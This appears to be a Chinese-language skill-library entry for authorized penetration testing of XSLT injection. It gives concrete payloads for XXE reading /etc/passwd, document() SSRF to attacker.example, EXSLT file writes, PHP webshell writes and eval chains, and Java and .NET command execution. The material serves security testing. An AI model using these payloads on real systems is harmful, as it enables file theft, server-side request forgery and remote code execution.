安全与风控
用户可控 XSLT/样式表或转换端点时,按处理器族测试…
适用于授权测试中,应用将用户影响的 XSLT/样式表在服务端编译执行,需要按处理器族验证 XXE、SSRF、文件读写或 RCE 风险时。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
用户可控 XSLT/样式表或转换端点时,通用
解决思路
- 定位 sinks:查找参数名 `xslt`、`stylesheet`、`transform`、`template`,以及 SOAP stylesheets、报告生成器、XML→HTML 转换器。
- 探测反射:注入唯一命名空间或 `xsl:value-of` 输出 `'marker'`;若输出变化,说明很可能执行。
- 指纹识别处理器。
- 按族升级:`document()`/XXE(§2–3)、EXSLT write(§4)、PHP(§5)、Java(§6)、.NET(§7)。
- 快速无害探针:注入 `xsl:value-of` 输出 `XSLT_PROBE_OK` 标记。
- 厂商检测:在表达式中读取 `system-property('xsl:vendor')`、`system-property('xsl:version')`、`system-property('xsl:vendor-url')`。
- 根据指纹选路径:`Apache Software Foundation`/Xalan markers → Xalan (Java);`Saxonica`/Saxon URI hints → Saxon;`libxslt`/GNOME stack → libxslt (C,常见于 PHP、nginx modules 等);Microsoft URLs/MSXML strings → MSXML/.NET XSLT stack。
- XXE via XSLT:XSLT 1.0 在解析器允许 DTD 时,可在样式表或源 XML 中用 DOCTYPE 定义外部实体,如 `<!ENTITY ext_file SYSTEM 'file:///etc/passwd'>`,再用 `xsl:value-of` 输出 `&ext_file;`。
- 注意:硬化解析器会禁用外部 DTD;此处失败不能排除其他 XSLT 向量。
- `document()` 文件读取:`document()` 把另一个 XML 文档加载为节点集;本地文件常作为 XML 解析(噪声大),但错误和部分读取仍可能泄露。
- Unix 示例:用 `xsl:copy-of` 选择 `document('/etc/passwd')`。
- Windows 示例:用 `xsl:copy-of` 选择 `document('file:///c:/windows/win.ini')`。
- SSRF/OOB:用 `xsl:copy-of` 选择 `document('http://attacker.example/ssrf')`。
- 若内联数据不返回给客户端,结合基于错误或时序的观察。
- EXSLT 写文件:当 EXSLT common 扩展启用时,声明 `xmlns:exploit='http://exslt.org/common'` 和 `extension-element-prefixes='exploit'`,使用 `exploit:document`,设置 `href='/tmp/evil.txt'`、`method='text'`,写入 `PROOF_CONTENT`。
- EXSLT 影响:路径权限允许时可任意文件写入;常可通过 webroot、cron 路径或包含点导致 RCE。
- PHP RCE:要求 PHP XSLT 暴露 `registerPHPFunctions()` 风格能力(应用错误配置);声明 `xmlns:php='http://php.net/xsl'`;使用 `php:function('readfile','index.php')` 读文件。
- PHP 目录列举:使用 `php:function('scandir','.')`。
- PHP 危险模式(仅在实验室验证):`php:function('assert', string($payload))`;依赖环境,通常已弃用/移除,旧应用中可与 `include`/`require` 链式利用。
- PHP 危险模式:`php:function('file_put_contents','/var/www/shell.php','<?php ...')`;当可调用函数被轻率白名单时可写 webshell。
- PHP 遗留 `/e`:`preg_replace` 带 `/e` 修饰符时替换字符串会被当 PHP 执行;常见链用 `base64_decode` 隐藏 meterpreter 等 staged payload;PHP 7+ 已移除,仅远古运行时相关。
- PHP 遗留示例:`preg_replace('/.*/e', 'eval(base64_decode(BASE64_PHP_HERE));', '', 1);` 只有 `php:function` 将 `preg_replace` 暴露给用户样式表时才从 XSLT 可达(罕见且严重错误配置)。
- PHP 测试者注意:现代 PHP 加固常阻止这些;没有 RCE 不排除 `document()`/XXE。
- Java RCE:Java 引擎可能暴露映射到静态方法的扩展函数;精确语法取决于版本和扩展绑定。
- Xalan 示例:声明 `xmlns:rt='http://xml.apache.org/xalan/java/java.lang.Runtime'`;用 `rt:getRuntime()` 得到 `$rtobject`,再调用 `rt:exec($rtobject,'/bin/sh -c id')`。
- Saxon 风格静态 Java 集成:`Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')`;把 `192.0.2.1` 替换为实验监听器/文档 IP(RFC 5737 TEST-NET)。
- Java 操作建议:若扩展被禁用(常见安全默认),转向 `document()`、SSRF 或其他位置的反序列化。
- .NET RCE:当 Microsoft XSLT script blocks 允许时,声明 `xmlns:msxsl='urn:schemas-microsoft-com:xslt'` 和 `extension-element-prefixes='msxsl'`;在 `msxsl:script language='C#' implements-prefix='user'` 中定义 `xexec()`,调用 `System.Diagnostics.Process.Start` 执行 `cmd.exe /c whoami`,再用 `user:xexec()`。
- .NET 默认安全配置常禁用脚本;将此视为启用时行为。
- 决策:判断用户是否影响 XSLT 或 XML 转换;若否,停止(超出范围)。
- 决策:若是,检查输出是否反射注入逻辑;若是,用 `system-property()` 指纹厂商,并按 libxslt/Java/.NET 分支。
- 决策:若无反射,尝试盲通道:错误、OOB、时序;用 `document()` 做 SSRF/文件读取;检查 EXSLT;映射证据。
- PAT 说明:PayloadsAllTheThings 对 XSLT 没有类似 SQLi/XSS 的专门维护工具区;利用高度依赖处理器和配置,使用代理/手工 payload 与自定义脚本,尽量用与目标相同引擎/版本在本地实验环境复现。
- 工具:用 Burp Suite、OWASP ZAP 重放样式表 payload,观察响应和错误。
- 工具:在 VM 中匹配精确处理器(PHP libxslt、Java Saxon 版本、.NET framework)搭建 XML/XSLT 实验室。
- 工具:用 Collaborator/私密回调服务器接收 `document('http://…')` 的带外请求。
- 没有单一通用扫描器可替代版本特定行为验证。
- 相关:若输入是通用 XML 解析且可能不经过 XSLT,交叉加载 `xxe-xml-external-entity`。
- 相关:若关注 `document(http:...)` 或实体 URL 导致服务端请求,交叉加载 `ssrf-server-side-request-forgery`。
适用边界 · 注意事项
- 未获授权或生产环境不允许破坏性测试时不要使用;许多 payload 具破坏性。
- 输入只是通用 XML 解析且可能不会流入 XSLT 时,不使用本技能,改用 `xxe-xml-external-entity`。
- 仅关注 `document(http:...)` 或实体 URL 的外连 SSRF 时,优先配合 `ssrf-server-side-request-forgery`。